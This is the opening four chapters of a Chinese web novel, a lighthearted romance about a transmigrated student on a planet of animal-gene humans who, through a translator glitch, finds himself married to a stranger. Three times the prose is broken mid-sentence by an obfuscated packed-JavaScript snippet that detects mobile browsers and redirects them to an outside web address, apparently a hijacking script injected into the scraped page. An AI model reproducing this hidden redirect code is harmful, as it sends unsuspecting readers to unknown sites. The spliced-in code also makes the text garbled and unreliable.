《闪婚陛下后才发现物种不合》 1. 第 1 章 《闪婚陛下后才发现物种不合》 旧梦如霜/著 “滴,学生卡。” 付溪耳朵上戴着简易翻译器,登上无人驾驶悬浮车,找了个就近的位置坐下。 舱门关闭,悬浮车缓慢上升,在距离地面大约十米的位置按照航行轨道前行,穿梭在庞然大物般的建筑物中。 机械音响起:“请乘客选择目的地。” 付溪抬手,在座位上方投射出来的蓝屏上点了下——花苞六号三等医院。 是的。 付溪生病了。 他得了一种……颇为难以启齿的病。 想到这里,付溪长长叹了口气,托腮看向窗外。 无数钢筋铁骨般的冰冷建筑物从他棕色的瞳孔中掠过。 越靠近市内,楼层建筑越高,设计也愈发符合科技美感,各式各样的建筑如百花齐放,让人目不暇接。 在城市正中央,是一栋高耸入云,一眼看不到顶的建筑物。据付溪之前八卦得知,那是整个星系最尊贵的国王陛下的办公地点。 都说宇宙的尽头是考公,也不知道他毕业后有没有机会在这栋建筑物里上班…… 别看付溪轻车熟路,但其实,他是穿越过来的。 二十天前,刚上大一的付溪上课赶时间,下宿舍楼梯时没刹住车,不小心一脚踏空,扑了出去,那一瞬间,他有种灵魂都飞出去的感觉,然后…… 就穿越了。 当双脚结结实实地踩在这个世界的街道上,面对突如其来的转变,看向头顶飞速掠过的悬浮车,以及一眼望不到头的建筑,付溪一脸茫然,还以为自己是在做梦。 不过留给付溪反应的时间并不多,因为十分钟后,街道的实时扫描仪没扫到付溪的身份信息,他立刻被当做黑户抓起来了。 一翻问询后,面对付溪这个无父无母,独自来到首都星,却连基本常识都不知道的“边缘星球偷渡客”“九漏鱼”,工作人员一脸同情。 她雷厉风行,给付溪上了个临时户口,帮忙办理贫困户专项补贴的同时,还顺手给付溪推荐了合适的学校,并点击了入学申请。 最后,工作人员帮付溪戴上免费发放的简易翻译器,看着仍在懵逼状态的付溪,微笑着开口:“不用谢,这都是我应该做的。首都星在陛下的带领下包容万象。虽然不知道你是从哪颗星偷渡来的,但我们依然欢迎你的入驻。” “哦对了,也希望你能早日从小学毕业,并成功脱贫,毕竟首都星的夜晚,对你这样漂亮的人来说,还是非常美妙的。” 她冲付溪眨了下眼,一条火红的狐狸尾巴从柜台后面冒出来,来回摇曳。 付溪:“……!?” 妈妈,我见到妖怪了! 而且还是货真价实的狐狸精……!!! 后来付溪才了解到,这个世界的公民并不是与地球相同的“人类”,而是融合了各类动物基因的新人类。 之后,付溪正式成为了一名光荣的小学一年级新生,目前正和一群刚到他大腿的各类……呃,动物幼崽们一起上基础课。 唉。 好不容易考上大学,一切却又从头再来…… 简直噩梦.jpg 当然,既来之则安之,如今的付溪已经有些适应在这里的生活了。 不多时,医院到了。 付溪下车,随着人流站在花苞六号三等医院的巨型招牌下,目露坚定,踏入医院的大门…… “你是说,你最近的生理yu望特别强烈?”头发茂密的医生身体向后靠,用审视的目光看着付溪。 付溪乖乖坐在诊室内的圆凳上,他双手紧握,有些紧张,听到医生的反问,白皙的脸庞唰的一下红到脖子根。 啊啊啊。 好尴尬!!! 真的!好尴尬啊!!! “……是。” 付溪废了很大的力气,才从牙缝中挤出这么一个字,并用脚趾飞快在诊室内抠出一座粉红芭比梦幻城堡。 不过就医嘛,再怎么羞耻,还是要把自己目前的症状说清楚,好方便医生对症下药的。 付溪紧张开口:“我已经连续一周都是这个状态了,每天晚上都做那种梦……最近甚至白天都……这绝对不正常,已经严重影响到了我目前的生活状态。” 医生没立刻回应。 他只是在面前的光屏上来回点击,并突然问:“你是其他星系偷渡来首都星的?用的还是临时户口,我看你的身份似乎是旧人类……返祖的?”医生语气稀奇,“之前倒是没见过像你这种返的如此纯正的。” 付溪:“……是。” 总不能跟人家医生说自己穿越来的,是真真正正的“旧人”吧? 那他不止要看内分泌,还会被医生推荐去看一看脑子。 “难怪。”医生表情冷静到像是在大润发杀了10年的鱼,对付溪指指点点,“你这种情况其实在首都星很正常。” 付溪:“啊?是、是吗?” 很正常?真的假的? 付溪有些怀疑。 不过这家花苞六号三等医院在首都星的口碑很好,付溪甚至提前做了功课,特意挂的这个医生的号,所以应该……没有问题吧? 医生干脆利落地递出好几份检查单:“去吧,先检查一下激素,看看你现在的病情发展到哪一步了。” 付溪:“好的好的。” 三个小时后,检查结果全部出来。 付溪重新回到门诊室,坐在座位上,等待着属于自己的宣判。 很快,医生神情严肃,拿出一本厚厚的花名册,翻开来推到付溪面前。 医生:“选吧。” 付溪:“?” 选?选什么? 一旁,面容恬静和善,头顶上一对兔子耳朵的护士解释道:“付溪先生,您好,我来跟您讲解一下。首都星由于物质及环境特殊等原因,生活在这里的公民在特定的时间内都会进入寻偶期,哪怕您是返祖人员,也会有这种概率。这期间,公民会产生超乎寻常的生理性yu望,直到找到生命的另一半。如果不想影响您接下来的正常生活,甚至危害到您的性命,您需要尽快寻找一位与您基因匹配度高的公民,而我们医院恰好有这项服务,保证您能快速步入——” “滋啦”一声。 付溪耳朵上的翻译器传来一阵电流。 他被吓了一跳,倒吸一口气,捂住被攻击到的耳朵。 护士一愣:“怎么了?” 付溪等待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471942|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下,察觉翻译器似乎又正常了,忙摇头说:“没事。”他表情严肃,“你刚刚是说,如果我一直维持这样不管,甚至会有生命危险?” 护士点头:“是,之前出过不少类似病例,尤其涉及到病人隐私,我们不便向您仔细描述,但您可以在网上查询相关内容。” 付溪:“……好的。那我现在是需要寻找一位匹配度高的公民,跟对方进行一些……呃,身体接触?” 才刚刚成年的付溪想象那一幕,有些坐立不安。 这有点怪了吧? 付溪之前可从未想过这种事情…… 护士显然已经见怪不怪,笑容温婉地回答:“对。吃药并不能解决问题,甚至可能加重病情。” 付溪:“……” 嘶。 这究竟是个什么世界啊!? “没关系,您可以不用着急做决定。”护士提醒,“只是……长期处于精神和身体的双重亢奋状态,可能会引发一些难以根治的急性并发症,到时候会有些麻烦,所以请您务必审慎对待。” 付溪:“!!?” 可恶,死也就算了,还有并发症? 付溪棕色的眼眸透出几分担忧,眸子终于落在已经被打开的花名册上。 这份花名册明显是根据付溪刚刚的检查结果打印,每一面上都有足足九位首都星公民的简单信息。 ——上方是一张两寸的红底照片,下方写有具体的姓名、年龄、身高、体重、就任单位、薪资状况、爱好、性向,以及对另一半的种族期望等…… 堪称详尽。 当然最最重要的,还有他们和付溪之间的匹配度。 只要是出现在花名册上的,双方的匹配度都已经过了及格线。 相、相亲啊…… 也不是不行? 付溪抿着唇,打起精神来,视线扫过一页页花名册。 有顶着一张猫脸,乍一眼看去分不清性别的; 有大致是人类,但保留了棕熊耳朵和鼻子的; 有眼睛红红且三瓣唇一看就是只小兔子的; 有带着蜻蜓翅膀的…… 付溪:“唔。” 虽然猫耳朵,兔耳朵,狐狸耳朵等等都看起来很好rua的样子,但如果是谈恋爱结婚的话,付溪觉得他还是更保守一点,倾向于传统人类。 ……他可不想跟喜欢的人亲亲的时候,不小心碰到对方的獠牙,或者睡觉一翻身,就不小心压到对方的尾巴…… 所以—— 付溪缓慢翻动着花名册,视线突地凝在一处。 一张两寸照片上,黑长直头发,看起来温文尔雅,大约二十五六岁的姐姐映入眼帘,她没有动物耳朵,没有动物鼻子,更没有动物嘴巴,看起来就是一位五官精致漂亮到甚至有些锋利的人类女性。 所有关于她的基本信息都是一片空白,只在匹配度上,写有100%这一数值。 100%? 看起来好牛。 这是不是意味着他们很适配? 付溪看一眼,再看一眼,视线有些无法从对方的眼睛上挪开,不得不承认,自己的确对她十分心动。 他试探性地指过去,小小声问护士:“这、这位,可以吗?” 2. 第 2 章 从花苞六号三等医院里走出来,付溪提着的一颗心终于放回了肚子里。 确定了。 就这么确定要开始相亲了……甚至见面时间就定在明天中午。 进度条跑得好快。 快到付溪站在医院门口发了一会呆,还有点没反应过来。 他手中还拿着各项检验单,盯着上面的字看了会,脑子里却都是刚刚名册上那张照片里的人,耳廓慢吞吞红了一片,不由抬手捂住脸,狠狠搓了搓。 天哪。 如果不出意外的话,他好像就要谈恋爱了…… 在广场上的巡逻小机器人冲上来询问付溪是否犯病需要紧急医疗之前,付溪做贼般快步离开了医院前的这一小片广场,登上返程的悬浮车。 回到首都星政府分发的廉租房后,付溪将自己摔在偏硬的木板床上,抱着枕头滚来滚去。 相亲…… 在今天之前,这个词汇距离付溪实在遥远。 不过医院的护士向付溪解释,目前能出现在花名册上的成员,基本都已经病入膏肓,随时都可能因为找不到高匹配的伴侣去世,而付溪和他选中的那位还是罕见的100%匹配度…… 或者说,付溪的条件出乎意料的优越,竟然和很多人的匹配度都很高。 ——不是所有人的花名册都这么厚厚一本的。 所以如果付溪愿意跟对方结婚,就是救了对方,哪怕付溪自诉条件不好,对方也完全不在乎,只会感到高兴。 ……也对。 都要死了,谁在乎那么多。 “虽然是保命下的不得已选择,但我现在完全不能给伴侣创造很好的生活条件,以后可得好好努力了……” 付溪握拳,又忍不住嘀咕,“而且人家也不一定能看得上我。” 付溪发了会呆,见时间已经不早,一个鲤鱼打挺从床上起身,脱掉身上衣物,前往浴室洗澡。 热气蒸腾间,他隐约听到有门铃声响起。 有人? 难道是社区的工作人员,对他之前提交的资料有疑问? 正好付溪快洗完了。 他拉开一点浴室门,身体藏在门后冲外面喊:“请稍等。” 凉风涌入浴室,激的付溪身上起了一小层鸡皮疙瘩。 他缩了缩脖子,快速用毛巾擦干身体,又囫囵地抹了一下脑袋,套上衣服,一边小声嚷着“来了来了”一边戴上简易翻译器走到门口。 然而打开门,却不见任何人,只地上有一份快递来的文件。 付溪:“?” 谁寄来的? 付溪疑惑地弯下腰,发丝上的水珠滴答落在那文件上,他快速将文件捡起,用手抿去上面的水珠,确认文件上的签收人确实是自己,才边用脚合上门,边小心撕开文件的一角。 “嘭”的一声轻响,门被关上。 文件打开,付溪从里面抽出一张薄薄的纸。 这纸张大小和奖状差不多,有点类似镭射纸的质感,淡色的底色,在灯光下却散着绚烂美丽的七彩光泽,最上方居中的位置盖有首都星政府的公章。 左边是付溪的2寸照片及个人基本信息,包括最新生成的公民编码,而右边……是一张付溪很熟悉的照片。 黑长直的女性正温柔地看着镜头微笑,至于她的基本信息一栏,除却名字一栏的“裴时意”这三个字,其余和之前在医院花名册上看到的相同,仍旧写有「未公开」三个字。 付溪有些茫然地皱了下眉头。 而整个纸张的最底部,是来自政府的寄语: 「从此,在浩瀚无垠的宇宙中,你们将成为彼此的锚点。本证由星际联邦首都星政府见证并备案,即刻起受法律保护。」 再一翻,背面是三个字:结婚证。 这—— 结、结结结结婚证!??? 付溪:“!?” 付溪不可置信地瞪圆眼睛,猛地回头拉开大门,然而,送这封快递来的人早已经离开,不知道去哪儿了。 他手指微微发紧,仿若捏着什么烫手山芋,低下头,视线死死盯着纸张,突然感觉自己都有点不认识字了。 ……结婚证。 是他和—— 付溪表情难掩吃惊,目光缓慢落在和自己几乎并排的那个名字上。 裴时意。 付溪的头发还在往下落水,尤其是后脖颈,冰凉一片,他却顾不上擦,心中升起一股茫然与荒谬感。 怎么回事? 不是说好的相亲吗?怎么就直接领证了?而且结婚这种大事,竟然不需要当事人亲自到场吗!? 那位姐姐…… 不,是裴时意。 难道她的病已经严重到这种地步了,连相亲的步骤都直接省去,一步到位就领结婚证了? 付溪只觉震惊。 他心中后知后觉想到之前在医院里,护士在跟他讲解情况时,他的简易翻译器发出过的刺耳声音。 该不会是那个时候出现了什么问题? 付溪意识到什么,飞快拿过一个老型号,看着马上都要被淘汰的终端。 解锁后,蓝色的光屏出现,付溪飞快在浏览器上搜索关键词:「首都星」「寻偶期」「医院花名册」…… 点击确定后,密密麻麻的信息和广告一齐涌出。 付溪花费了一点时间关闭各类弹窗广告,筛选有效内容,认认真真地看了好几条网页、帖子和视频,才终于搞明白究竟是怎么回事—— 如护士所说,能出现在医院花名册上的公民,多数已经被逼出并发症,饱受病痛的折磨,可他们却迟迟找不到与自己匹配度达标的伴侣。 情况危急,只要双方匹配度足够,且来就诊的新人愿意,双方就能立刻结婚,互相依偎在一起治病。 而系统给出的高匹配度,往往意味着双方各方面都适合在一起…… 当时在医院,护士说的其实也是领证,只是刚好付溪的翻译器出了问题,才会误以为只是相亲。 所以…… 事情发展到这一步,完完全全就是在走正常的流程,而他当时没听清,又对这个星球认知不足,还以为只是相亲…… 啊啊啊啊。 怎么就这么草率的结婚了啊!? 付溪深吸一口气,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471943|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识尝试联络医院,然而接听的永远都是AI,翻来覆去跟对方怎么都讲不明白。 首都星的医院病患爆满,不提前预约是进不去的,何况结婚证都领了,一切都已成定局,再去抗议似乎没什么用……不如先跟裴时意见一面,如果对方病情真的很严重,那当然还是以治病为先。 他自己也要治病的, 而且新老婆看起来香香软软……也、也不是不行。 付溪脸红了点,下一秒连忙狠狠唾弃自己。 付溪啊付溪,你现在的行为跟趁人之危有什么区别? 唉! 唉! 不多时,外面落下急促的雨,噼里啪啦砸在窗户上,“轰隆”一声响,雷雨交加。 付溪的心半晌都静不下来,盯着结婚证翻来覆去的看,没多久,廉租房的门猝不及防被敲响。 “……谁?”付溪警惕地起身,却没得到任何回应。 他顿了顿,想到今天寄到门口的快递,提拉着拖鞋走到门口,戒备地打开门,恰逢一道闪电落下,撕开夜空,照亮站在房门前的人——那是一张与结婚证上2寸照片长相几乎一模一样的漂亮面孔。 付溪有些怔愣。 双方面对面站着。 “她”的身形比付溪还高,冒着大雨前来,浑身湿透,一头柔顺的黑长直头发湿漉漉地贴着脸庞与脖颈,很是狼狈,那双仿若阳光下的玻璃珠般闪闪发光的眼眸,始终盯着付溪看。 “你——”付溪认出对方。 他察觉对方的脸比照片上看起来更硬朗一点,个子也比自己高,不过首都星的公民普遍都高,便没放在心上,“你是裴时意?” 他视线落在后者被打湿的微微颤抖的眼睫毛上。 怎么下着雨,突然就来了? “快、快进来。” 付溪从小到大受到的教育,让他觉得不能让客人就这么站在门口。 他飞快让开位置,先转身去浴室给裴时意拿了两条干净毛巾,免得对方继续受冻,“擦一擦?”下一秒,想到这些毛巾都是自己用过的,哪怕干净,似乎也不太适合,付溪又拉过纸巾盒子,试探着问,“或者你想用这个?” “……”裴时意沉默地接过毛巾。 “裴小姐。”在对方擦头发时,付溪也没忘记正事,他见对方的身体条件还好,似乎并没有到那种“病入膏肓”的程度,不由羞赧道,“其实我要向您坦白一下,结婚这件事……”他将之前在医院听错的事跟对方讲了,之后环顾四周,“您现在也看到了,我的条件比较差,如果您不介意的话……” “喜欢你。”一道低低的声音响起, 裴时意身体往前,直接将脑袋埋进付溪怀里,喟叹一声,“好看,好闻,喜欢。” “……什,什么?”付溪瞠目结舌,双手立刻举高高,做投降状,以示清白。 第一次见面,就直接喜欢并进行肢体接触了吗? 这在首都星是正常的吗? 付溪震撼两秒,想到什么,将耳朵上的翻译器取下来,一脸严肃地看了看。 不对。 指定是这翻译器又出了什么毛病。 3. 第 3 章 “砰砰砰。” “砰砰砰。” 付溪修长的手指一边摆弄着翻译器,一边听到自己的心脏在狂跳。 好看,好闻,喜欢…… 啊啊啊啊。 从未被打过这种直球的付溪脸红了一大片,感觉头顶都要冒烟了。 他跟这个星球的电子产品还处于完全不熟的状态,当然检查不出有什么毛病,又怕漏听裴时意的话,连忙将其重新戴上,却不知道该怎么回复对方的话。 好在裴时意也没再说那种让付溪面红耳赤的内容,只是静静地抱着付溪,像是在通过气味汲取力量。 付溪:“……” 付溪身上的热度就没有下来过,他轻咳一声,“裴小姐,要不我们先互相了解一下?除了名字,我现在对你一无所知。” 然而,面前的裴时意并未回应。 付溪轻轻动了下,才发现对方竟然靠着他的身体睡着了。 嘶。 这么没有防范意识吗?就不怕他是个坏人,趁机做什么? 付溪从来没有遇到过这种状况,难免手足无措。 何况对方头发还没完全干,不能睡觉,容易偏头痛。 他轻轻摇晃对方的肩膀:“裴……” 刚出声,对方微微偏头,额头在付溪的腹部蹭了下,黑色的长发垂落下来,贴着付溪的手臂,痒痒的。付溪身体瞬间僵住,下一秒便见怀中的人抬起眼来,用湿漉漉的漂亮眼眸盯着他看。 双方对视,裴时意仰着头。明明处于下位,付溪却莫名从那视线中看出一丝掠夺与占有的意味。 他一怔,有些没反应过来,就见裴时意依然看着他,却微微张开唇,隔着布料轻轻舔舐他的衬衫衣摆。 这模样…… 也太—— “……” 绯色“轰”的一下往付溪的脸上爬,他刚冷却的脑子立刻晕晕乎乎。 啊啊啊。 这这这,这么亲密的举动……!会不会有点太冒昧孟浪鲁莽了啊啊啊。 付溪整个人都有点不好了,一推对方的肩膀,便眼睁睁看着裴时意像是没骨头般倒在他的床上,身体蜷缩成一团,不动了。 付溪:“……” 不对劲,这很不对劲。 付溪后知后觉,他皱着眉头,想起之前在医院里听护士讲述的并发症,其中一条便是大脑整日浑浑噩噩,昏沉不受控,严重时丧失生活自理能力等。 难道裴时意表面上看起来正常,实则是已经发病了? 是了。 这或许就是对方的名字直接出现在花名册上,且不需要跟付溪见面培养感情,就直接同意结婚的重要原因。 付溪抿了下唇。 他心里乱糟糟的,目光在裴时意的脸上扫过,像是被烫到般飞快挪开视线,抬手拍了下自己的脸:“付溪啊付溪,你快清醒一点。” 怎么能因为对方长得实在好看,就连看都不敢看对方? 付溪想到刚刚发生的一切,脸上的热度就没有下来过。 他轻轻吐出一口气,先确认裴时意没有在发烧,才在不触碰对方的身体前提下将裴时意拉起来,小心放到床上,盖上被子。 接下来怎么办? 付溪大脑宕机。 显而易见,今天的付溪没床睡了。 他起身吞了一管营养液填肚子,去柜子里把替换的被子和褥子等抱出来铺在床边的地上,打算今天晚上凑合一下。 窗外的雨小了些。 夜色渐深,付溪心中庆幸这两天正好是周末,不用去上课。 因为不放心,他中途起夜两三次,发现裴时意始终都在昏睡,要不是盖着被子的身体微微起伏,付溪都以为对方出事了。 不如明天先带裴小姐去医院看看……说昏迷就昏迷,也太吓人了。 付溪心中做着计划,重新闭上眼。 清早,雨已经停了,天空放晴,灿烂的阳光透过窗户照进室内,终端上定了闹钟,在付溪的枕头下使劲儿震动。 付溪梦呓一声,刚翻了个身,脚踝撞到床尾,“嘶”,他倒吸一口气,突然想到什么,瞬间从地铺上窜起来,看向床上。 空空荡荡。 裴时意已经不见了。 但床上还残留着对方存在过的痕迹——被子被叠成一丝不苟的豆腐块,枕头摆放整齐,床单拉扯得很平坦…… 除了军训迫不得已外,从没叠过被子的付溪怔怔看了会,将头用力埋进枕头里。 天哪! 裴时意做了这么多事,而他全程睡的像是死猪,愣是完全没醒! - 刷牙,洗漱,收拾地铺,将被裴时意舔过的那件衬衫塞进洗衣机…… 付溪有条不紊地做完一切,走出家门,熟门熟路登上悬浮车,又双叒叕前往花苞六号三等医院。 不过这一次去的不是内分泌,而是寻偶科。 门诊室。 “你是说,你对寻偶期一窍不通,想在我们院了解一下相关情况?”陌生的医生审视地目光落在付溪身上。 “对。”付溪双手交握,比第一次来的时候还想抠地。 医生扫了眼付溪的基本信息:“首都星临时户口……”他语气中染上几分了然,“原来如此……行吧,刚好等会儿有个首都大学来的教授开讲座,你去听一听。” 他开了一张单子,递给付溪。 十分钟后,付溪根据单子上的地址前往目的地,缓缓和一群来上“寻偶期生理课”的小萝卜头们坐在了一起…… 付溪:“。” 付溪脸皮薄,耳朵又双叒叕红了,但一想到自己接下来要学习的内容关乎着他与裴时意的病,便开始摒弃其他,认认真真听讲。 终于,上了一上午课,脑袋被塞满知识的付溪晕晕乎乎地走出医院。 “原来她昨天确实是发病了……” 付溪轻叹。 寻偶期的病人在发病期间,会极度渴望跟自己的另一半进行亲密接触,这期间,对方基本没有清晰的意识,全凭借本能行事,而体-液的交换有助于病情稳定,身为裴时意的伴侣,付溪要做的,就是尽可能跟对方多亲密接触。 “感觉这设定还有点类似ABO呢?不过大家都是O。”付溪吐槽完,抬头看向天空。阳光落在脸上,暖洋洋的。 付溪呢喃道,“爸爸妈妈,我在异世界结婚了……” ——上初中时,付溪的父母因为一场车祸去世,自那之后,付溪辗转寄宿在几名亲戚家中,寄人篱下的感觉是很不好受的,再加上看过父母相爱的模样,在父母的呵护下成长到了13岁,所以付溪对婚姻,对自己家庭的组建,以及“家”这个字眼,都是带着无限憧憬的。 而现在,在一个异世界的星球上,付溪阴差阳错,竟然和一个不了解的陌生人猝不及防地步入婚姻的殿堂了。 没有戒指,没有正式的婚礼仪式,更没有宣誓…… 但这依然意味着从此之后,双方在各方面都绑定到了一起,将缔造亲密关系,并互相扶持着一同生活,就像结婚证上写下的那句政府寄语:在浩瀚无垠的宇宙中,你们将成为彼此的锚点。 锚点。 付溪很认同这个词。 ……所以婚后的生活应该是怎么样的? 付溪脑海中闪过仅存的一些关于父母相处的碎片。 虽然整件事情的发展都显得很草率,但一想到裴时意不嫌弃他的条件,且漂亮又香香,付溪就瞬间支棱了起来。 他下定决心,会尝试着在治病的同时,好好努力经营这段感情。 那么现在问题来了…… 结婚证有了,法律关系确定了,但关于裴时意的一切,除了名字和那张脸,别的都是未知,他应该上哪儿找对方去? 付溪陷入沉思.jpg 不过至少裴时意知道他住在哪儿,所以应该问题不大? 等对方下次有时间再来时,他再好好跟对方介绍一下自己,并交换联系方式吧。 想到这些,付溪一颗心在胸腔里不住蹦跶,像是在跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471944|201534||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞。 他试图用憋气的方式平复自己的心跳,但那颗心就像是知道自己即将迎来崭新的生活,始终不肯放弃作乱。 最后只好是付溪妥协。 他就这么揣着憧憬上了悬浮车,刚设好目的地,身后传来一声惊呼—— “是陛下!” “陛下?喔老天,陛下怎么会在这儿……” 付溪顺着声音好奇看去,隔着玻璃窗,看到密密麻麻,统一着装的亲卫队围拢着一人从医院走出。 距离有些远,付溪看不太清对方的脸,只看到那人鹤立鸡群,顶着一头张扬绚烂的金发,在阳光下熠熠生辉。他走路时步子沉稳有力,迈得很大,身上的风衣随着步伐扬起,带起好看的弧度,即便只是远远看着,也能感受到整个人如一柄即将出鞘的利剑,锋芒虽未完全显露,却明显带着久经沙场的肃杀之气。 周围有不少人认出那人的身份,纷纷发出惊呼声,距离近些的甚至伏地跪下。 付溪看到有顶着兔子耳朵的男人膝行向前,试图亲吻陛下的鞋子表达自己的忠诚,但被亲卫队成员无情拦下。 “哈。”悬浮车上,之前一眼就看到陛下的人发出一声冷笑,“他不知道陛下恐同吗?身为雄性,竟然敢做出那番举动……” 同行的人附和:“就是就是。” 付溪轻轻眨眼,感到新奇。 没想到看起来高高在上,不可一世的陛下,弱点竟然是恐同吗? 有种莫名的错位感。 很快,付溪所乘坐的悬浮车起飞,地面的一切缓慢缩小,直至消失不见。 回到廉租房,衣服已经洗好。 付溪将衬衫从洗衣机里捞出来晾晒,目光不由自主落在衬衫下摆处,莫名感觉喉咙有点痒,他轻咳两声,欲盖弥彰地伸手在那上面拍了拍。 付溪啊付溪, 你脑子里都在想什么呢,真是个大黄小子。 回到房间,付溪打开终端上的作业—— 是的。 身为学生的他也是要写作业的。 付溪已经懒得对自己一朝穿越回到解放前的事再发表任何意见,开始矜矜业业在终端上做题。 小学的大多数题目对付溪而言实在简单,只有一些星系历史相关和首都星语言类需要付溪多费一点心思,查查资料,要是平日里,付溪很快就能做完,这一次却忍不住频频走神,盯着时间发呆。 今天晚上…… 裴时意还会来吗? 还会是昨天那种不太清楚的状态吗? 还会……对他那样吗? 那他是不是最好也回应一下?都是合法夫妻了…… 付溪的脑袋“咚”的一下磕在桌子上,发出一声怪叫。 时间一分一秒流逝,付溪终于抬头,撑着脑袋又做了会题,突然想到什么,起身将之前快递邮寄过来的结婚证拿起来,盯着上面的内容看了又看,要是视线有实体,绝对会在上面烧出一个洞来。 他环顾整个房间,重新找了个更显眼安全的地方摆放,退后几步欣赏了会,扫一眼时间,才坐回凳子上继续做题。 就这么磨磨蹭蹭,写完作业时,夜已经深了。 付溪收拾完东西,垂下眼睫,有些失落地想,看来那个人不会来了。 “咚咚咚。” 房间门被敲响。 付溪一个激灵站起身来,飞快走到门口拉开门,全程不超过五秒钟。 门外,果不其然,裴时意站立着。 今天没下雨,裴时意瞧着干净又整洁,比昨天状态好很多。 两人对视,付溪让开一步:“你来啦……进?” 裴时意一点头,走进门内。 “你今天感觉怎么样?还晕吗?” 付溪将门阖上,把拖鞋拿出来递给裴时意,见裴时意状态不错,轻咳一声提议,“我们要不先……互相认识一下?” 都已经结婚了,还对对方一无所知…… 怪搞笑的。 闻言,裴时意回眸:“好。” 4. 第 4 章 “我叫付溪,今年18岁,是返祖的旧人类,没有动物形态。我目前是首都星的临时户口,正在上小学一年级,首都星的工作人员说,等我毕业了才会给我正式转户口。” 付溪越说越心虚。 他指指周遭,“裴小姐,你也看到了,我现在条件比较差,就连住的地方都是政府补贴的廉租房……我知道你是为了治病才迫不得已跟我在一起,所以等你病好了,也可以选择跟我离婚,我到时候一定配合,绝不纠缠。” 裴时意一双漂亮的美目定定看着付溪。 付溪不经意间与对方对视,呼吸一窒。 好看。 太好看了。 真人比照片上还要好看很多很多倍。 ……只是被这么盯一眼,付溪都忍不住脸红心跳。 一想到待会儿可能还要跟裴时意牵手,接吻,哪怕是为了治病,付溪也有些羞赧,他舔了舔唇,去倒了两杯水,递给裴时意一杯,小声问:“你呢。” “裴时意。”面容精致的人伸出骨节分明的大手,将水杯接过去,吐出三个字,声音依然略微沙哑。 付溪等了会,没等到下一句。 付溪:“?” 两人大眼瞪小眼。 裴时意迟疑片刻,开口补充:“我还有个哥哥。” 付溪:“哦哦。” 付溪应和着,又等了几秒钟,空气里一片寂静,他稍微有些尴尬,把杯子里的水尽数喝光,手指轻轻摩擦着水杯的杯壁。 或许…… 裴时意是觉得两人早晚要分开,不太想跟他说那么多自己的事。 也或许,裴时意慢热,话少,是个典型的i人? 总之,既然对方不想多聊,付溪也不方便继续追问,毕竟连他自己都有秘密。 问题不大。 那么接下来的流程是? 付溪看裴时意一眼,又看裴时意一眼。 他嘴干,又去倒了杯水,刚一转身,便见裴时意不知道什么时候站在他背后,期间竟一点声音都没发出。 两人手臂一碰,付溪杯子里的水都差点流出来。 “嘶。”付溪忙稳住。 他仰头看向几乎贴着自己的裴时意,后者精致漂亮的脸近在咫尺,细腻到毛孔都看不见的皮肤凑过来,同时袭来的还有一股若有若无的檀香,熏得付溪晕晕乎乎的,他语气呆呆道,“你,你走路完全没有声音耶。” 裴时意“嗯”了声,淡金色充满侵略性的眼眸下移,落在付溪柔软的唇上,瞳仁微微竖起一些,声音微哑:“我可以亲你吗?” 付溪:“。” 哦,原来还在发病状态。 虽然双方才见第二面,进展明显太快,但付溪表示理解——治病嘛,不寒碜,而且两人结婚证都已经领了,亲亲而已……再多就不行了。 在付溪看来,更进一步的行为,都是需要情感支撑的。 “当然可以呀。” 答应的话刚落下,面前的裴时意陡然动作,一只大手按在付溪的后脑勺上,牢牢控制住,低下头舔吻住付溪的唇。 温热柔软的触感刺激的付溪大脑空空,他在这方面没经验,从裴时意陡然靠近时,就屏住呼吸,僵硬着身体没动,甚至左手都还端着刚倒满水的水杯,颇有一种手足无措感。 但憋气是憋不了太久的,两人呼吸很快交缠在一起。 重重一压后,裴时意想到什么,退开一点,开口纠正:“不是裴小姐。” 付溪:“啊?” 裴时意拉着付溪空闲的右手往下:“是裴先生。” 付溪:“啊???!!!” 付溪一脸茫然,刚受了接吻的刺激,脑子还没转动过来,乍一听到这话,手上还摸到……他瞪圆眼睛,表情痴呆。 下一秒,裴时意又低下头吻来,轻轻啃噬付溪的唇,动作好似肉食动物在试探着将自己的食物吞吃入腹。 付溪:“!!!” 等等,什么——!? 男的!??? 付溪差点发出哨音,右手下意识一捏,面前的裴时意闷哼一声,两人就势分开,付溪身体后仰,视线惊疑不定地观察着面前的裴时意。 黑色长直发,睫毛纤长,淡金色的漂亮眼眸…… 以及喉结。 喉,结。 付溪:“……” 啊啊啊啊啊啊。 